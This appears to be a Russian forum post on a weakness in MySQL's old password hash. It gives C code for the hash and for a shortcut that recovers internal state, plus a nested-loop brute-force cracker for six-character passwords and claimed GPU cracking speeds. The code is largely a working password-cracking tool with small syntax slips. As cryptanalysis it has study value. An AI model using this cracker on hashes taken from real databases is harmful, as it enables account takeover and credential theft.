Уязвимость MySql хешей
Для тех кто не знает MySql хеш вычисляется так:
Код:
#include <windows.h>
#include "stdafx.h"
#define DWORD unsigned int
DWORD hash0,hash1,hash11;
void pen_mysql(unsigned char * data)
{
DWORD f1 = 0x50305735,f2 = 0x12345671;
DWORD fadd = 7;
for (;*data;data++)
{
f1 = f1 ^ ((( (f1 & 0x3f) + fadd ) * *data ) + (f1 << 8));
f2 = f2 + ((f2 << 8) ^ f1 );
fadd = fadd + *data;
}
hash0= f1 & 0x7fffffff;
hash1= f2 & 0x7fffffff;
}
int _tmain(int argc, _TCHAR* argv[])
{
char pass[]="MySqlH";
pen_mysql((unsigned char *)&pass);
printf("Pass:%.8x%.8x:%s: \n",hash0,hash1,pass);
Сразу бросается в глаза, что алгоритм последовательный,
и можно в цикле перебирать последний символ.
Но главная уязвимость – это то что можно найти f2 предпоследнего перебираемого символа путем недолгого перебора:
Код:
int mlb = (hash1 - hash0 ) & 0xff;
for (DWORD ii=mlb;ii<0x80000000;ii+=0x100){
if (((ii + ((ii << 8) ^ hash0 )) & 0x7fffffff)==hash1) {
printf("%.8X \n",ii);
hash11=ii; // f2
break; }}
Так выглядит алгоритм перебора 6 символов
Код:
unsigned char simv[] ="asdfghjklqwertyuiopzxcvbnmASDFGHJKLQWERTYUIOPZXCVBNM";
DWORD len=sizeof(simv)-1;
DWORD f1 = 0x50305735, f2 = 0x12345671;
DWORD fadd = 7;
for (char i6=0; i6<=len ; i6++ ){
DWORD f6f1 = f1 ^ ((((f1 & 0x3f) + fadd ) * (DWORD)simv[i6]) + (f1 << 8));
DWORD f6f2 = f2 + ((f2 << 8) ^ f6f1 );
DWORD f6ad = fadd + simv[i6];
for (char i5=0; i5<=len ; i5++ ){
DWORD f5f1 = f6f1 ^ ((((f6f1 & 0x3f) + f6ad ) * (DWORD)simv[i5]) + (f6f1 << 8));
DWORD f5f2 = f6f2 + ((f6f2 << 8) ^ f5f1 );
DWORD f5ad = f6ad + simv[i5];
for (char i4=0; i4<=len ; i4++ ){
DWORD f4f1 = f5f1 ^ ((((f5f1 & 0x3f) + f5ad ) * (DWORD)simv[i4]) + (f5f1 << 8));
DWORD f4f2 = f5f2 + ((f5f2 << 8) ^ f4f1 );
DWORD f4ad = f5ad + simv[i4];
for (char i3=0; i3<=len ; i3++ ){
DWORD f3f1 = f4f1 ^ ((((f4f1 & 0x3f) + f4ad ) * (DWORD)simv[i3]) + (f4f1 << 8));
DWORD f3f2 = f4f2 + ((f4f2 << 8) ^ f3f1 );
DWORD f3ad = f4ad + simv[i3];
for (char i2=0; i2<=len ; i2++ ){
DWORD f2f1 = f3f1 ^ ((((f3f1 & 0x3f) + f3ad ) * (DWORD)simv[i2]) + (f3f1 << 8));
DWORD f2f2 = f3f2 + ((f3f2 << 8) ^ f2f1 );
if ((f2f2 & 0x7fffffff)==hash11) {
// ----- -1 -----------------------
DWORD f2ad = f3ad + simv[i2];
for (char i1=0; i1<=len ; i1++ ){
DWORD f1f1 = f2f1 ^ ((((f2f1 & 0x3f) + f2ad ) * (DWORD)simv[i1]) + (f2f1 << 8));
DWORD f1f2 = f2f2 + ((f2f2 << 8) ^ f1f1 );
if (((f1f1 & 0x7fffffff)==hash0)&((f1f2 & 0x7fffffff)==hash1)){
printf("Pass:%.8x%.8x:%c%c%c%c%c%c: \n",f1f1,f1f2,simv[i6],simv[i5],simv[i4],simv[i3],simv[i2],simv[i1]);
printf(" ok \n");
int c = getchar();
return 0;
}
}
// ----- -1 -----------------------
}
}}}}}
printf(" false \n");
int c = getchar();
return 0;
}
Получается - 8 символьный пароль можно найти за тоже время, что и 7 символьный.
На GF8600 получается
150 миллиардов п/сек.
А на GF9800 можно будет за полдня подобрать коллизию к любому хешу.